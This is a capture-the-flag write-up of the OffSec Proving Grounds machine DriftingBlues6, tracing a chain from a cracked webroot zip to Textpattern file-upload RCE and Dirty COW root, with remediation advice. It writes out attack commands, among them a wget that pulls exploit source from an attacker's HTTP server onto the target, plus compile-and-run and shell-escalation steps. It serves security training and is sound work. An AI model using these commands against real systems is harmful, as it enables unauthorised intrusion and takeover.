Skip to content
Zone for Exploration and
Understanding of Security
← All writeups
Web Easy

DriftingBlues6

OffSec Proving Grounds · Linux · Textpattern CMS · boot-to-root

Vulnerability
Cracked zip → CMS creds → auth file-upload RCE → Dirty COW (CVE-2016-5195)
Impact
Full compromise — root flag captured
Tools
nmap, gobuster, zip2john, john, custom python exploit, gcc
Given
A single IP, no credentials
FLAG  ✓ root captured — value redacted
Cyber Kill Chain
Reconnaissancenmap, gobuster + .zip hint
→
Credential Accesszip2john + john
→
ExploitationTextpattern auth file upload RCE
→
Privilege EscalationDirty COW (CVE-2016-5195)
→
Impactroot access

MITRE ATT&CK Mapping

Tactic Technique ID Evidence
Discovery Active Scanning: Wordlist Scanning T1595.003 gobuster with -x zip discovered spammer.zip and the Textpattern admin path
Credential Access Brute Force: Password Cracking T1110.002 zip2john + john cracked the zip password against rockyou; extracted creds.txt held CMS credentials
Execution Server Software Component: Web Shell T1505.003 Textpattern's authenticated file-upload endpoint accepted a PHP webshell (CVE-2021-47888 / EDB-48943)
Privilege Escalation Exploitation for Privilege Escalation T1068 Dirty COW (CVE-2016-5195) race condition overwrote /etc/passwd to set root's password

Vulnerability Analysis

Root Causes: Sensitive files left in the webroot, a weak zip password, an unpatched CMS, and an EOL kernel combined into a complete chain from unauthenticated visitor to root.

  • CWE-312: Cleartext Storage of Sensitive Information — credentials were stored in a zip file published to the webroot
  • CWE-434: Unrestricted Upload of File with Dangerous Type — CVE-2021-47888, Textpattern ≤ 4.8.3 authenticated arbitrary file upload
  • CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization — CVE-2016-5195 (Dirty COW) race condition in Linux kernel < 4.8.3

CVE references: CVE-2021-47888 (Textpattern RCE, CVSS v3.1 8.8 High) · CVE-2016-5195 (Dirty COW, CVSS v3.1 7.0 High)

References:
CWE-312 CWE-434 CWE-362

Summary

DriftingBlues6 runs a single public service: Apache on port 80 hosting Textpattern CMS 4.8.3 on a Debian 7 (Wheezy) machine. A hint in robots.txt directed the directory brute-force to scan for zip files; one was found at the webroot and its password was cracked instantly with John. The extracted credentials unlocked the CMS admin panel, which was vulnerable to an authenticated arbitrary file-upload flaw that placed a PHP webshell. The foothold as www-data was on a kernel (3.2.0-4) well within the Dirty COW exploit range, which overwrote /etc/passwd and handed a root shell.

Key insight: two well-known CVEs (2016 and 2021) are still in scope on an EOL box. "It's just a lab" and "it's an old CVE" are not excuses — the chain from webroot zip to root is entirely reproducible.

Recon

Only one port open across the full range:

shell
nmap -p- --min-rate 2000 <target>
nmap -sCV -p80 <target>
PortServiceVersion
80HTTPApache 2.2.22 (Debian 7, PHP 5.5.38)

robots.txt disclosed the Textpattern admin path and left an explicit hint:

text · robots.txt
Disallow: /textpattern/textpattern
# dont forget to add .zip extension to your dir-brute ;)

Directory brute-force with .zip extension

shell
gobuster dir -u http://<target>/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x zip -t 50

/spammer.zip (200, 179 B) — a password-protected zip containing a single file, creds.txt.

Password cracking

shell
zip2john spammer.zip > spammer.hash
john spammer.hash --wordlist=/usr/share/wordlists/rockyou.txt
# zip password: <redacted>  (cracked instantly)

Extracted creds.txt held a single username:password pair, valid for the Textpattern admin panel at /textpattern/textpattern/index.php.

Initial access — Textpattern authenticated RCE (CVE-2021-47888)

Textpattern ≤ 4.8.3 allows authenticated users to upload arbitrary files through the Files section (event=file&step=file_insert). The public exploit (EDB-48943) needed two patches to work against this specific version:

  • A GET request to prime the txp_test_cookie before the login POST (Textpattern rejects logins without the cookie)
  • The _txp_token scraper used a hard-coded index that didn't match this version — replaced with a regex extraction
shell
python3 textpattern_rce.py http://<target>/textpattern <user> <pass>
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Webshell at /textpattern/files/<random>.php

Reading the exploit before running it found the two bugs and avoided a frustrating silent failure. Patch the tool; don't assume public PoCs work unchanged against every target version.

Privilege escalation — Dirty COW (CVE-2016-5195)

The foothold is on Linux kernel 3.2.0-4-amd64 — well within Dirty COW's affected range (kernels < 4.8.3). There are no sudo rights and no writable cron. Dirty COW exploits a race condition in the kernel's copy-on-write handling of memory-mapped files to overwrite read-only files. The /etc/passwd variant (EDB-40847) sets root's password to a known value:

shell
# Transfer from attacker's HTTP server
cd /tmp && wget http://<attacker>:8000/40847.cpp -O dcow.cpp

# Compile and run on target
g++ -Wall -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
./dcow
# Root password set to: <redacted>

# Spawn a PTY and escalate
python -c "import pty; pty.fork()"
su root   # password: <redacted>
# uid=0(root) gid=0(root) groups=0(root)
# <root flag redacted>

Findings & remediation

#FindingSeverityRemediation
1Credentials in a zip published to the webrootCriticalNever store secrets in the webroot; the zip gave everything needed to compromise the CMS
2Weak zip password cracked against rockyouHighUse a strong, unique passphrase; a weak password on a credential file is no protection
3Textpattern 4.8.3 — authenticated arbitrary file upload (CVE-2021-47888)HighUpgrade Textpattern; restrict uploadable file types to images/documents; block PHP execution in upload directories
4Kernel 3.2.0 — Dirty COW (CVE-2016-5195)HighUpgrade to a supported kernel; Debian 7 has been EOL since 2018
5robots.txt disclosed admin path and hinted at zip filesLowrobots.txt is public — don't use it to catalogue sensitive paths

Takeaways

  • robots.txt is not a hiding place — it's one of the first files every scanner reads.
  • Patch the exploit, not just the target. The public PoC had two bugs specific to this version; understanding the auth flow fixed both in minutes.
  • EOL infrastructure means unpatched CVEs. A 2016 kernel exploit was the fastest path to root because no backport was ever applied.

Practice next

Explore more web security challenges on OffSec Proving Grounds.

Explore OffSec Proving Grounds ↗